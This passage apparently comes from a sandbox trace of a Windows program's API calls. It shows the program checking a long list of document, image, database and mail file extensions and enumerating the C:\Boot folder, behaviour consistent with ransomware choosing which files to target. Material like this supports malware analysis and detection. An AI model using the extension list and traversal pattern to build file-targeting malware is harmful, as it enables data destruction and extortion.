(lpString=".dat") returned 4 [0087.634] lstrcmpiW (lpString1=".dat", lpString2="$BCD") returned 1 [0087.634] lstrlenW (lpString=".db") returned 3 [0087.634] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0087.634] lstrlenW (lpString=".dbf") returned 4 [0087.635] lstrcmpiW (lpString1=".dbf", lpString2="$BCD") returned 1 [0087.635] lstrlenW (lpString=".dbx") returned 4 [0087.635] lstrcmpiW (lpString1=".dbx", lpString2="$BCD") returned 1 [0087.635] lstrlenW (lpString=".dc3") returned 4 [0087.635] lstrcmpiW (lpString1=".dc3", lpString2="$BCD") returned 1 [0087.635] lstrlenW (lpString=".dcm") returned 4 [0087.635] lstrcmpiW (lpString1=".dcm", lpString2="$BCD") returned 1 [0087.635] lstrlenW (lpString=".dcr") returned 4 [0087.635] lstrcmpiW (lpString1=".dcr", lpString2="$BCD") returned 1 [0087.635] lstrlenW (lpString=".der") returned 4 [0087.635] lstrcmpiW (lpString1=".der", lpString2="$BCD") returned 1 [0087.635] lstrlenW (lpString=".dib") returned 4 [0087.635] lstrcmpiW (lpString1=".dib", lpString2="$BCD") returned 1 [0087.635] lstrlenW (lpString=".dic") returned 4 [0087.635] lstrcmpiW (lpString1=".dic", lpString2="$BCD") returned 1 [0087.635] lstrlenW (lpString=".dif") returned 4 [0087.635] lstrcmpiW (lpString1=".dif", lpString2="$BCD") returned 1 [0087.635] lstrlenW (lpString=".divx") returned 5 [0087.635] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0087.635] lstrlenW (lpString=".djvu") returned 5 [0087.635] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0087.635] lstrlenW (lpString=".dng") returned 4 [0087.635] lstrcmpiW (lpString1=".dng", lpString2="$BCD") returned 1 [0087.635] lstrlenW (lpString=".doc") returned 4 [0087.635] lstrcmpiW (lpString1=".doc", lpString2="$BCD") returned 1 [0087.635] lstrlenW (lpString=".docm") returned 5 [0087.635] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0087.635] lstrlenW (lpString=".docx") returned 5 [0087.635] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0087.636] lstrlenW (lpString=".dot") returned 4 [0087.636] lstrcmpiW (lpString1=".dot", lpString2="$BCD") returned 1 [0087.636] lstrlenW (lpString=".dotm") returned 5 [0087.636] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0087.636] lstrlenW (lpString=".dotx") returned 5 [0087.636] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0087.636] lstrlenW (lpString=".dpx") returned 4 [0087.636] lstrcmpiW (lpString1=".dpx", lpString2="$BCD") returned 1 [0087.636] lstrlenW (lpString=".dqy") returned 4 [0087.636] lstrcmpiW (lpString1=".dqy", lpString2="$BCD") returned 1 [0087.636] lstrlenW (lpString=".dsn") returned 4 [0087.636] lstrcmpiW (lpString1=".dsn", lpString2="$BCD") returned 1 [0087.636] lstrlenW (lpString=".dt") returned 3 [0087.636] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0087.636] lstrlenW (lpString=".dtd") returned 4 [0087.636] lstrcmpiW (lpString1=".dtd", lpString2="$BCD") returned 1 [0087.636] lstrlenW (lpString=".dwg") returned 4 [0087.636] lstrcmpiW (lpString1=".dwg", lpString2="$BCD") returned 1 [0087.636] lstrlenW (lpString=".dwt") returned 4 [0087.636] lstrcmpiW (lpString1=".dwt", lpString2="$BCD") returned 1 [0087.636] lstrlenW (lpString=".dx") returned 3 [0087.636] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0087.636] lstrlenW (lpString=".dxf") returned 4 [0087.636] lstrcmpiW (lpString1=".dxf", lpString2="$BCD") returned 1 [0087.636] lstrlenW (lpString=".edml") returned 5 [0087.636] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0087.636] lstrlenW (lpString=".efd") returned 4 [0087.637] lstrcmpiW (lpString1=".efd", lpString2="$BCD") returned 1 [0087.637] lstrlenW (lpString=".elf") returned 4 [0087.637] lstrcmpiW (lpString1=".elf", lpString2="$BCD") returned 1 [0087.637] lstrlenW (lpString=".emf") returned 4 [0087.637] lstrcmpiW (lpString1=".emf", lpString2="$BCD") returned 1 [0087.637] lstrlenW (lpString=".emz") returned 4 [0087.637] lstrcmpiW (lpString1=".emz", lpString2="$BCD") returned 1 [0087.637] lstrlenW (lpString=".epf") returned 4 [0087.637] lstrcmpiW (lpString1=".epf", lpString2="$BCD") returned 1 [0087.637] lstrlenW (lpString=".eps") returned 4 [0087.637] lstrcmpiW (lpString1=".eps", lpString2="$BCD") returned 1 [0087.637] lstrlenW (lpString=".epsf") returned 5 [0087.637] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0087.637] lstrlenW (lpString=".epsp") returned 5 [0087.637] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0087.637] lstrlenW (lpString=".erf") returned 4 [0087.637] lstrcmpiW (lpString1=".erf", lpString2="$BCD") returned 1 [0087.637] lstrlenW (lpString=".exr") returned 4 [0087.637] lstrcmpiW (lpString1=".exr", lpString2="$BCD") returned 1 [0087.637] lstrlenW (lpString=".f4v") returned 4 [0087.637] lstrcmpiW (lpString1=".f4v", lpString2="$BCD") returned 1 [0087.637] lstrlenW (lpString=".fido") returned 5 [0087.637] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0087.637] lstrlenW (lpString=".flm") returned 4 [0087.637] lstrcmpiW (lpString1=".flm", lpString2="$BCD") returned 1 [0087.637] lstrlenW (lpString=".flv") returned 4 [0087.637] lstrcmpiW (lpString1=".flv", lpString2="$BCD") returned 1 [0087.637] lstrlenW (lpString=".frm") returned 4 [0087.637] lstrcmpiW (lpString1=".frm", lpString2="$BCD") returned 1 [0087.637] lstrlenW (lpString=".fxg") returned 4 [0087.638] lstrcmpiW (lpString1=".fxg", lpString2="$BCD") returned 1 [0087.638] lstrlenW (lpString=".geo") returned 4 [0087.638] lstrcmpiW (lpString1=".geo", lpString2="$BCD") returned 1 [0087.638] lstrlenW (lpString=".gif") returned 4 [0087.638] lstrcmpiW (lpString1=".gif", lpString2="$BCD") returned 1 [0087.638] lstrlenW (lpString=".grs") returned 4 [0087.638] lstrcmpiW (lpString1=".grs", lpString2="$BCD") returned 1 [0087.638] lstrlenW (lpString=".gz") returned 3 [0087.638] lstrcmpiW (lpString1=".gz", lpString2="BCD") returned -1 [0087.638] lstrlenW (lpString=".h") returned 2 [0087.638] lstrcmpiW (lpString1=".h", lpString2="CD") returned -1 [0087.638] lstrlenW (lpString=".hdr") returned 4 [0087.638] lstrcmpiW (lpString1=".hdr", lpString2="$BCD") returned 1 [0087.638] lstrlenW (lpString=".hpp") returned 4 [0087.638] lstrcmpiW (lpString1=".hpp", lpString2="$BCD") returned 1 [0087.638] lstrlenW (lpString=".hta") returned 4 [0087.638] lstrcmpiW (lpString1=".hta", lpString2="$BCD") returned 1 [0087.638] lstrlenW (lpString=".htc") returned 4 [0087.638] lstrcmpiW (lpString1=".htc", lpString2="$BCD") returned 1 [0087.638] lstrlenW (lpString=".htm") returned 4 [0087.638] lstrcmpiW (lpString1=".htm", lpString2="$BCD") returned 1 [0087.638] lstrlenW (lpString=".html") returned 5 [0087.638] lstrcmpiW (lpString1=".html", lpString2="") returned 1 [0087.638] lstrlenW (lpString=".icb") returned 4 [0087.638] lstrcmpiW (lpString1=".icb", lpString2="$BCD") returned 1 [0087.638] lstrlenW (lpString=".ics") returned 4 [0087.638] lstrcmpiW (lpString1=".ics", lpString2="$BCD") returned 1 [0087.638] lstrlenW (lpString=".iff") returned 4 [0087.638] lstrcmpiW (lpString1=".iff", lpString2="$BCD") returned 1 [0087.638] lstrlenW (lpString=".inc") returned 4 [0087.639] lstrcmpiW (lpString1=".inc", lpString2="$BCD") returned 1 [0087.639] lstrlenW (lpString=".indd") returned 5 [0087.639] lstrcmpiW (lpString1=".indd", lpString2="") returned 1 [0087.639] lstrlenW (lpString=".ini") returned 4 [0087.639] lstrcmpiW (lpString1=".ini", lpString2="$BCD") returned 1 [0087.639] lstrlenW (lpString=".iqy") returned 4 [0087.639] lstrcmpiW (lpString1=".iqy", lpString2="$BCD") returned 1 [0087.639] lstrlenW (lpString=".j2c") returned 4 [0087.639] lstrcmpiW (lpString1=".j2c", lpString2="$BCD") returned 1 [0087.639] lstrlenW (lpString=".j2k") returned 4 [0087.639] lstrcmpiW (lpString1=".j2k", lpString2="$BCD") returned 1 [0087.639] lstrlenW (lpString=".java") returned 5 [0087.639] lstrcmpiW (lpString1=".java", lpString2="") returned 1 [0087.639] lstrlenW (lpString=".jp2") returned 4 [0087.639] lstrcmpiW (lpString1=".jp2", lpString2="$BCD") returned 1 [0087.639] lstrlenW (lpString=".jpc") returned 4 [0087.639] lstrcmpiW (lpString1=".jpc", lpString2="$BCD") returned 1 [0087.639] lstrlenW (lpString=".jpe") returned 4 [0087.639] lstrcmpiW (lpString1=".jpe", lpString2="$BCD") returned 1 [0087.639] lstrlenW (lpString=".jpeg") returned 5 [0087.639] lstrcmpiW (lpString1=".jpeg", lpString2="") returned 1 [0087.639] lstrlenW (lpString=".jpf") returned 4 [0087.639] lstrcmpiW (lpString1=".jpf", lpString2="$BCD") returned 1 [0087.639] lstrlenW (lpString=".jpg") returned 4 [0087.639] lstrcmpiW (lpString1=".jpg", lpString2="$BCD") returned 1 [0087.639] lstrlenW (lpString=".jpx") returned 4 [0087.639] lstrcmpiW (lpString1=".jpx", lpString2="$BCD") returned 1 [0087.639] lstrlenW (lpString=".js") returned 3 [0087.639] lstrcmpiW (lpString1=".js", lpString2="BCD") returned -1 [0087.639] lstrlenW (lpString=".jsf") returned 4 [0087.639] lstrcmpiW (lpString1=".jsf", lpString2="$BCD") returned 1 [0087.640] lstrlenW (lpString=".json") returned 5 [0087.640] lstrcmpiW (lpString1=".json", lpString2="") returned 1 [0087.640] lstrlenW (lpString=".jsp") returned 4 [0087.640] lstrcmpiW (lpString1=".jsp", lpString2="$BCD") returned 1 [0087.640] lstrlenW (lpString=".kdc") returned 4 [0087.640] lstrcmpiW (lpString1=".kdc", lpString2="$BCD") returned 1 [0087.640] lstrlenW (lpString=".kmz") returned 4 [0087.640] lstrcmpiW (lpString1=".kmz", lpString2="$BCD") returned 1 [0087.640] lstrlenW (lpString=".kwm") returned 4 [0087.640] lstrcmpiW (lpString1=".kwm", lpString2="$BCD") returned 1 [0087.640] lstrlenW (lpString=".lasso") returned 6 [0087.640] lstrcmpiW (lpString1=".lasso", lpString2="") returned 1 [0087.640] lstrlenW (lpString=".lbi") returned 4 [0087.640] lstrcmpiW (lpString1=".lbi", lpString2="$BCD") returned 1 [0087.640] lstrlenW (lpString=".lgf") returned 4 [0087.640] lstrcmpiW (lpString1=".lgf", lpString2="$BCD") returned 1 [0087.640] lstrlenW (lpString=".lgp") returned 4 [0087.640] lstrcmpiW (lpString1=".lgp", lpString2="$BCD") returned 1 [0087.640] lstrlenW (lpString=".log") returned 4 [0087.640] lstrcmpiW (lpString1=".log", lpString2="$BCD") returned 1 [0087.640] lstrlenW (lpString=".m1v") returned 4 [0087.640] lstrcmpiW (lpString1=".m1v", lpString2="$BCD") returned 1 [0087.640] lstrlenW (lpString=".m4a") returned 4 [0087.640] lstrcmpiW (lpString1=".m4a", lpString2="$BCD") returned 1 [0087.640] lstrlenW (lpString=".m4v") returned 4 [0087.640] lstrcmpiW (lpString1=".m4v", lpString2="$BCD") returned 1 [0087.640] lstrlenW (lpString=".max") returned 4 [0087.640] lstrcmpiW (lpString1=".max", lpString2="$BCD") returned 1 [0087.640] lstrlenW (lpString=".md") returned 3 [0087.641] lstrcmpiW (lpString1=".md", lpString2="BCD") returned -1 [0087.641] lstrlenW (lpString=".mda") returned 4 [0087.641] lstrcmpiW (lpString1=".mda", lpString2="$BCD") returned 1 [0087.641] lstrlenW (lpString=".mdb") returned 4 [0087.641] lstrcmpiW (lpString1=".mdb", lpString2="$BCD") returned 1 [0087.641] lstrlenW (lpString=".mde") returned 4 [0087.641] lstrcmpiW (lpString1=".mde", lpString2="$BCD") returned 1 [0087.641] lstrlenW (lpString=".mdf") returned 4 [0087.641] lstrcmpiW (lpString1=".mdf", lpString2="$BCD") returned 1 [0087.641] lstrlenW (lpString=".mdw") returned 4 [0087.641] lstrcmpiW (lpString1=".mdw", lpString2="$BCD") returned 1 [0087.641] lstrlenW (lpString=".mef") returned 4 [0087.641] lstrcmpiW (lpString1=".mef", lpString2="$BCD") returned 1 [0087.641] lstrlenW (lpString=".mft") returned 4 [0087.641] lstrcmpiW (lpString1=".mft", lpString2="$BCD") returned 1 [0087.641] lstrlenW (lpString=".mfw") returned 4 [0087.641] lstrcmpiW (lpString1=".mfw", lpString2="$BCD") returned 1 [0087.641] lstrlenW (lpString=".mht") returned 4 [0087.641] lstrcmpiW (lpString1=".mht", lpString2="$BCD") returned 1 [0087.641] lstrlenW (lpString=".mhtml") returned 6 [0087.641] lstrcmpiW (lpString1=".mhtml", lpString2="") returned 1 [0087.644] lstrlenW (lpString=".mka") returned 4 [0087.644] lstrcmpiW (lpString1=".mka", lpString2="$BCD") returned 1 [0087.658] lstrlenW (lpString=".mkidx") returned 6 [0087.658] lstrcmpiW (lpString1=".mkidx", lpString2="") returned 1 [0087.658] lstrlenW (lpString=".mkv") returned 4 [0087.658] lstrcmpiW (lpString1=".mkv", lpString2="$BCD") returned 1 [0087.658] lstrlenW (lpString=".mos") returned 4 [0087.679] lstrcmpiW (lpString1=".mos", lpString2="$BCD") returned 1 [0087.679] lstrlenW (lpString=".mov") returned 4 [0087.679] lstrcmpiW (lpString1=".mov", lpString2="$BCD") returned 1 [0087.679] lstrlenW (lpString=".mp3") returned 4 [0087.679] lstrcmpiW (lpString1=".mp3", lpString2="$BCD") returned 1 [0087.679] lstrlenW (lpString=".mp4") returned 4 [0087.679] lstrcmpiW (lpString1=".mp4", lpString2="$BCD") returned 1 [0087.679] lstrlenW (lpString=".mpeg") returned 5 [0087.679] lstrcmpiW (lpString1=".mpeg", lpString2="") returned 1 [0087.679] lstrlenW (lpString=".mpg") returned 4 [0087.679] lstrcmpiW (lpString1=".mpg", lpString2="$BCD") returned 1 [0087.679] lstrlenW (lpString=".mpv") returned 4 [0087.679] lstrcmpiW (lpString1=".mpv", lpString2="$BCD") returned 1 [0087.679] lstrlenW (lpString=".mrw") returned 4 [0087.679] lstrcmpiW (lpString1=".mrw", lpString2="$BCD") returned 1 [0087.679] lstrlenW (lpString=".msg") returned 4 [0087.679] lstrcmpiW (lpString1=".msg", lpString2="$BCD") returned 1 [0087.679] lstrlenW (lpString=".mxl") returned 4 [0087.679] lstrcmpiW (lpString1=".mxl", lpString2="$BCD") returned 1 [0087.679] lstrlenW (lpString=".myd") returned 4 [0087.679] lstrcmpiW (lpString1=".myd", lpString2="$BCD") returned 1 [0087.679] lstrlenW (lpString=".myi") returned 4 [0087.679] lstrcmpiW (lpString1=".myi", lpString2="$BCD") returned 1 [0087.679] lstrlenW (lpString=".nef") returned 4 [0087.679] lstrcmpiW (lpString1=".nef", lpString2="$BCD") returned 1 [0087.679] lstrlenW (lpString=".nrw") returned 4 [0087.679] lstrcmpiW (lpString1=".nrw", lpString2="$BCD") returned 1 [0087.680] lstrlenW (lpString=".obj") returned 4 [0087.680] lstrcmpiW (lpString1=".obj", lpString2="$BCD") returned 1 [0087.680] lstrlenW (lpString=".odb") returned 4 [0087.680] lstrcmpiW (lpString1=".odb", lpString2="$BCD") returned 1 [0087.680] lstrlenW (lpString=".odc") returned 4 [0087.680] lstrcmpiW (lpString1=".odc", lpString2="$BCD") returned 1 [0087.680] lstrlenW (lpString=".odm") returned 4 [0087.680] lstrcmpiW (lpString1=".odm", lpString2="$BCD") returned 1 [0087.680] lstrlenW (lpString=".odp") returned 4 [0087.680] lstrcmpiW (lpString1=".odp", lpString2="$BCD") returned 1 [0087.680] lstrlenW (lpString=".ods") returned 4 [0087.680] lstrcmpiW (lpString1=".ods", lpString2="$BCD") returned 1 [0087.680] lstrlenW (lpString=".oft") returned 4 [0087.680] lstrcmpiW (lpString1=".oft", lpString2="$BCD") returned 1 [0087.680] lstrlenW (lpString=".one") returned 4 [0087.680] lstrcmpiW (lpString1=".one", lpString2="$BCD") returned 1 [0087.680] lstrlenW (lpString=".onepkg") returned 7 [0087.680] lstrcmpiW (lpString1=".onepkg", lpString2="") returned 1 [0087.680] lstrlenW (lpString=".onetoc2") returned 8 [0087.680] lstrcmpiW (lpString1=".onetoc2", lpString2="") returned 1 [0087.680] lstrlenW (lpString=".opt") returned 4 [0087.680] lstrcmpiW (lpString1=".opt", lpString2="$BCD") returned 1 [0087.680] lstrlenW (lpString=".oqy") returned 4 [0087.680] lstrcmpiW (lpString1=".oqy", lpString2="$BCD") returned 1 [0087.680] lstrlenW (lpString=".orf") returned 4 [0087.680] lstrcmpiW (lpString1=".orf", lpString2="$BCD") returned 1 [0087.680] lstrlenW (lpString=".p12") returned 4 [0087.680] lstrcmpiW (lpString1=".p12", lpString2="$BCD") returned 1 [0087.680] lstrlenW (lpString=".p7b") returned 4 [0087.680] lstrcmpiW (lpString1=".p7b", lpString2="$BCD") returned 1 [0087.680] lstrlenW (lpString=".p7c") returned 4 [0087.680] lstrcmpiW (lpString1=".p7c", lpString2="$BCD") returned 1 [0087.681] lstrlenW (lpString=".pam") returned 4 [0087.681] lstrcmpiW (lpString1=".pam", lpString2="$BCD") returned 1 [0087.681] lstrlenW (lpString=".pbm") returned 4 [0087.681] lstrcmpiW (lpString1=".pbm", lpString2="$BCD") returned 1 [0087.681] lstrlenW (lpString=".pct") returned 4 [0087.681] lstrcmpiW (lpString1=".pct", lpString2="$BCD") returned 1 [0087.681] lstrlenW (lpString=".pcx") returned 4 [0087.681] lstrcmpiW (lpString1=".pcx", lpString2="$BCD") returned 1 [0087.681] lstrlenW (lpString=".pdd") returned 4 [0087.681] lstrcmpiW (lpString1=".pdd", lpString2="$BCD") returned 1 [0087.681] lstrlenW (lpString=".pdf") returned 4 [0087.681] lstrcmpiW (lpString1=".pdf", lpString2="$BCD") returned 1 [0087.681] lstrlenW (lpString=".pdp") returned 4 [0087.681] lstrcmpiW (lpString1=".pdp", lpString2="$BCD") returned 1 [0087.681] lstrlenW (lpString=".pef") returned 4 [0087.681] lstrcmpiW (lpString1=".pef", lpString2="$BCD") returned 1 [0087.681] lstrlenW (lpString=".pem") returned 4 [0087.681] lstrcmpiW (lpString1=".pem", lpString2="$BCD") returned 1 [0087.681] lstrlenW (lpString=".pff") returned 4 [0087.681] lstrcmpiW (lpString1=".pff", lpString2="$BCD") returned 1 [0087.681] lstrlenW (lpString=".pfm") returned 4 [0087.681] lstrcmpiW (lpString1=".pfm", lpString2="$BCD") returned 1 [0087.681] lstrlenW (lpString=".pfx") returned 4 [0087.681] lstrcmpiW (lpString1=".pfx", lpString2="$BCD") returned 1 [0087.681] lstrlenW (lpString=".pgm") returned 4 [0087.681] lstrcmpiW (lpString1=".pgm", lpString2="$BCD") returned 1 [0087.681] lstrlenW (lpString=".php") returned 4 [0087.681] lstrcmpiW (lpString1=".php", lpString2="$BCD") returned 1 [0087.681] lstrlenW (lpString=".php3") returned 5 [0087.681] lstrcmpiW (lpString1=".php3", lpString2="") returned 1 [0087.681] lstrlenW (lpString=".php4") returned 5 [0087.681] lstrcmpiW (lpString1=".php4", lpString2="") returned 1 [0087.681] lstrlenW (lpString=".php5") returned 5 [0087.681] lstrcmpiW (lpString1=".php5", lpString2="") returned 1 [0087.681] lstrlenW (lpString=".phtml") returned 6 [0087.682] lstrcmpiW (lpString1=".phtml", lpString2="") returned 1 [0087.682] lstrlenW (lpString=".pict") returned 5 [0087.682] lstrcmpiW (lpString1=".pict", lpString2="") returned 1 [0087.682] lstrlenW (lpString=".pl") returned 3 [0087.682] lstrcmpiW (lpString1=".pl", lpString2="BCD") returned -1 [0087.682] lstrlenW (lpString=".pls") returned 4 [0087.682] lstrcmpiW (lpString1=".pls", lpString2="$BCD") returned 1 [0087.682] lstrlenW (lpString=".pm") returned 3 [0087.682] lstrcmpiW (lpString1=".pm", lpString2="BCD") returned -1 [0087.682] lstrlenW (lpString=".png") returned 4 [0087.682] lstrcmpiW (lpString1=".png", lpString2="$BCD") returned 1 [0087.682] lstrlenW (lpString=".pnm") returned 4 [0087.682] lstrcmpiW (lpString1=".pnm", lpString2="$BCD") returned 1 [0087.682] lstrlenW (lpString=".pot") returned 4 [0087.682] lstrcmpiW (lpString1=".pot", lpString2="$BCD") returned 1 [0087.682] lstrlenW (lpString=".potm") returned 5 [0087.682] lstrcmpiW (lpString1=".potm", lpString2="") returned 1 [0087.682] lstrlenW (lpString=".potx") returned 5 [0087.682] lstrcmpiW (lpString1=".potx", lpString2="") returned 1 [0087.682] lstrlenW (lpString=".ppa") returned 4 [0087.682] lstrcmpiW (lpString1=".ppa", lpString2="$BCD") returned 1 [0087.682] lstrlenW (lpString=".ppam") returned 5 [0087.682] lstrcmpiW (lpString1=".ppam", lpString2="") returned 1 [0087.682] lstrlenW (lpString=".ppm") returned 4 [0087.682] lstrcmpiW (lpString1=".ppm", lpString2="$BCD") returned 1 [0087.682] lstrlenW (lpString=".pps") returned 4 [0087.683] lstrcmpiW (lpString1=".pps", lpString2="$BCD") returned 1 [0087.683] lstrlenW (lpString=".ppsm") returned 5 [0087.683] lstrcmpiW (lpString1=".ppsm", lpString2="") returned 1 [0087.683] lstrlenW (lpString=".ppt") returned 4 [0087.683] lstrcmpiW (lpString1=".ppt", lpString2="$BCD") returned 1 [0087.683] lstrlenW (lpString=".pptm") returned 5 [0087.683] lstrcmpiW (lpString1=".pptm", lpString2="") returned 1 [0087.683] lstrlenW (lpString=".pptx") returned 5 [0087.683] lstrcmpiW (lpString1=".pptx", lpString2="") returned 1 [0087.683] lstrlenW (lpString=".prn") returned 4 [0087.683] lstrcmpiW (lpString1=".prn", lpString2="$BCD") returned 1 [0087.683] lstrlenW (lpString=".ps") returned 3 [0087.683] lstrcmpiW (lpString1=".ps", lpString2="BCD") returned -1 [0087.683] lstrlenW (lpString=".psb") returned 4 [0087.683] lstrcmpiW (lpString1=".psb", lpString2="$BCD") returned 1 [0087.683] lstrlenW (lpString=".psd") returned 4 [0087.683] lstrcmpiW (lpString1=".psd", lpString2="$BCD") returned 1 [0087.683] lstrlenW (lpString=".pst") returned 4 [0087.683] lstrcmpiW (lpString1=".pst", lpString2="$BCD") returned 1 [0087.683] lstrlenW (lpString=".ptx") returned 4 [0087.683] lstrcmpiW (lpString1=".ptx", lpString2="$BCD") returned 1 [0087.683] lstrlenW (lpString=".pub") returned 4 [0087.683] lstrcmpiW (lpString1=".pub", lpString2="$BCD") returned 1 [0087.683] lstrlenW (lpString=".pwm") returned 4 [0087.683] lstrcmpiW (lpString1=".pwm", lpString2="$BCD") returned 1 [0087.683] lstrlenW (lpString=".pxr") returned 4 [0087.683] lstrcmpiW (lpString1=".pxr", lpString2="$BCD") returned 1 [0087.683] lstrlenW (lpString=".py") returned 3 [0087.683] lstrcmpiW (lpString1=".py", lpString2="BCD") returned -1 [0087.683] lstrlenW (lpString=".qt") returned 3 [0087.683] lstrcmpiW (lpString1=".qt", lpString2="BCD") returned -1 [0087.683] lstrlenW (lpString=".r3d") returned 4 [0087.683] lstrcmpiW (lpString1=".r3d", lpString2="$BCD") returned 1 [0087.683] lstrlenW (lpString=".raf") returned 4 [0087.684] lstrcmpiW (lpString1=".raf", lpString2="$BCD") returned 1 [0087.684] lstrlenW (lpString=".rar") returned 4 [0087.684] lstrcmpiW (lpString1=".rar", lpString2="$BCD") returned 1 [0087.684] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0087.684] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0087.684] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0087.684] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0087.684] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0087.685] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260310 [0087.685] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.685] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0087.685] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0087.685] FindClose (in: hFindFile=0x4260310 | out: hFindFile=0x4260310) returned 1 [0087.686] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0087.686] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0087.686] lstrlenW (lpString="bootspaces.dll") returned 14 